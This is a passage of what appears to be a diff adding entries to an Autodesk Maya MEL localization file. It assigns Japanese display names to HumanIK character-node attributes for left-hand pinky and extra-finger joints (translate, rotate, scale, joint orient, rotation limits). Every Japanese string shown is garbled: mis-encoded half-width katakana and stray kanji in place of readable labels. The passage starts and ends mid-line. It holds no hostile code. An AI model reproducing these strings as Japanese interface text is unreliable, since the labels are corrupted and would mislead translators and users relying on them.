"ラハヨミ。ヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisz", "ラハヨミ。ヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrient", "ラハヨミ。ヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrientx", "ラハヨミ。ヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrienty", "ラハヨミ。ヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2JointOrientz", "ラハヨミ。ヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimit", "ラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitx", "ラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimity", "ラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitz", "ラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimit", "ラハヨミ。ヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitx", "ラハヨミ。ヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimity", "ラハヨミ。ヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitz", "ラハヨミ。ヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnablex", "ニモテラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnabley", "ニモテラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MinRLimitEnablez", "ニモテラハヨミ。ヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnablex", "ニモテラハヨミ。ヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnabley", "ニモテラハヨミ。ヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2MaxRLimitEnablez", "ニモテラハヨミ。ヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3", "ラハヨミ。ヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3T", "ラハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Tx", "ラハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Ty", "ラハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Tz", "ラハヨミ。ヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3R", "ラハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Rx", "ラハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Ry", "ラハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Rz", "ラハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3S", "ラハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sx", "ラハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sy", "ラハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3Sz", "ラハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", "ラハヨミ。ヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxis", "ラハヨミ。ヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisx", "ラハヨミ。ヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisy", "ラハヨミ。ヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3RotateAxisz", "ラハヨミ。ヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrient", "ラハヨミ。ヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrientx", "ラハヨミ。ヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrienty", "ラハヨミ。ヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3JointOrientz", "ラハヨミ。ヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimit", "ラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitx", "ラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimity", "ラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitz", "ラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimit", "ラハヨミ。ヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitx", "ラハヨミ。ヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimity", "ラハヨミ。ヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitz", "ラハヨミ。ヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnablex", "ニモテラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnabley", "ニモテラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MinRLimitEnablez", "ニモテラハヨミ。ヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnablex", "ニモテラハヨミ。ヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnabley", "ニモテラハヨミ。ヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky3MaxRLimitEnablez", "ニモテラハヨミ。ヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4", "ラハヨミ。ヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4T", "ラハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Tx", "ラハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Ty", "ラハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Tz", "ラハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4R", "ラハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Rx", "ラハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Ry", "ラハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Rz", "ラハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4S", "ラハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sx", "ラハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sy", "ラハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4Sz", "ラハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", "ラハヨミ。ヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxis", "ラハヨミ。ヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisx", "ラハヨミ。ヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisy", "ラハヨミ。ヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4RotateAxisz", "ラハヨミ。ヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrient", "ラハヨミ。ヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrientx", "ラハヨミ。ヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrienty", "ラハヨミ。ヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4JointOrientz", "ラハヨミ。ヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimit", "ラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitx", "ラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimity", "ラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitz", "ラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimit", "ラハヨミ。ヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitx", "ラハヨミ。ヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimity", "ラハヨミ。ヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitz", "ラハヨミ。ヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnablex", "ニモテラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnabley", "ニモテラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MinRLimitEnablez", "ニモテラハヨミ。ヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnablex", "ニモテラハヨミ。ヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnabley", "ニモテラハヨミ。ヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky4MaxRLimitEnablez", "ニモテラハヨミ。ヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1", "ラハヨチヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1T", "ラハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Tx", "ラハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Ty", "ラハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Tz", "ラハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1R", "ラハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Rx", "ラハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Ry", "ラハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Rz", "ラハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1S", "ラハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sx", "ラハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sy", "ラハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1Sz", "ラハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", "ラハヨチヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxis", "ラハヨチヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisx", "ラハヨチヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisy", "ラハヨチヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateAxisz", "ラハヨチヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrient", "ラハヨチヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrientx", "ラハヨチヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrienty", "ラハヨチヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1JointOrientz", "ラハヨチヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimit", "ラハヨチヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitx", "ラハヨチヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimity", "ラハヨチヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitz", "ラハヨチヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimit", "ラハヨチヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitx", "ラハヨチヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimity", "ラハヨチヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitz", "ラハヨチヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnablex", "ニモテラハヨチヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnabley", "ニモテラハヨチヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MinRLimitEnablez", "ニモテラハヨチヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnablex", "ニモテラハヨチヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnabley", "ニモテラハヨチヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger1MaxRLimitEnablez", "ニモテラハヨチヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2", "ラハヨチヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2T", "ラハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Tx", "ラハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Ty", "ラハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Tz", "ラハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2R", "ラハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Rx", "ラハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Ry", "ラハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Rz", "ラハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2S", "ラハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sx", "ラハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sy", "ラハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2Sz", "ラハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", "ラハヨチヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxis", "ラハヨチヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisx", "ラハヨチヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisy", "ラハヨチヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateAxisz", "ラハヨチヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrient", "ラハヨチヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrientx", "ラハヨチヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrienty", "ラハヨチヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2JointOrientz", "ラハヨチヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimit", "ラハヨチヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitx", "ラハヨチヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimity", "ラハヨチヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitz", "ラハヨチヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimit", "ラハヨチヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitx", "ラハヨチヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimity", "ラハヨチヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitz", "ラハヨチヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnablex", "ニモテラハヨチヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnabley", "ニモテラハヨチヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MinRLimitEnablez", "ニモテラハヨチヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnablex", "ニモテラハヨチヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnabley", "ニモテラハヨチヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger2MaxRLimitEnablez", "ニモテラハヨチヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3", "ラハヨチヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3T", "ラハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Tx", "ラハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Ty", "ラハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Tz", "ラハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3R", "ラハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Rx", "ラハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Ry", "ラハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Rz", "ラハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3S", "ラハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sx", "ラハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sy", "ラハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3Sz", "ラハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", "ラハヨチヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxis", "ラハヨチヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisx", "ラハヨチヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisy", "ラハヨチヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisz", "ラハヨチヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrient", "ラハヨチヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrientx", "ラハヨチヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrienty", "ラハヨチヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrientz", "ラハヨチヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimit", "ラハヨチヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitx", "ラハヨチヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimity", "ラハヨチヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitz", "ラハヨチヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimit", "ラハヨチヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitx", "ラハヨチヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimity", "ラハヨチヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitz", "ラハヨチヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnablex", "ニモテラハヨチヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnabley", "ニモテラハヨチヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnablez", "ニモテラハヨチヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnablex", "ニモテラハヨチヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnabley", "ニモテラハヨチヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnablez", "ニモテラハヨチヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4", "ラハヨチヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4T", "ラハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Tx", "ラハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Ty", "ラハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Tz", "ラハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4R", "ラハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Rx", "ラハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Ry", "ラハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Rz", "ラハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4S", "ラハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sx", "ラハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sy", 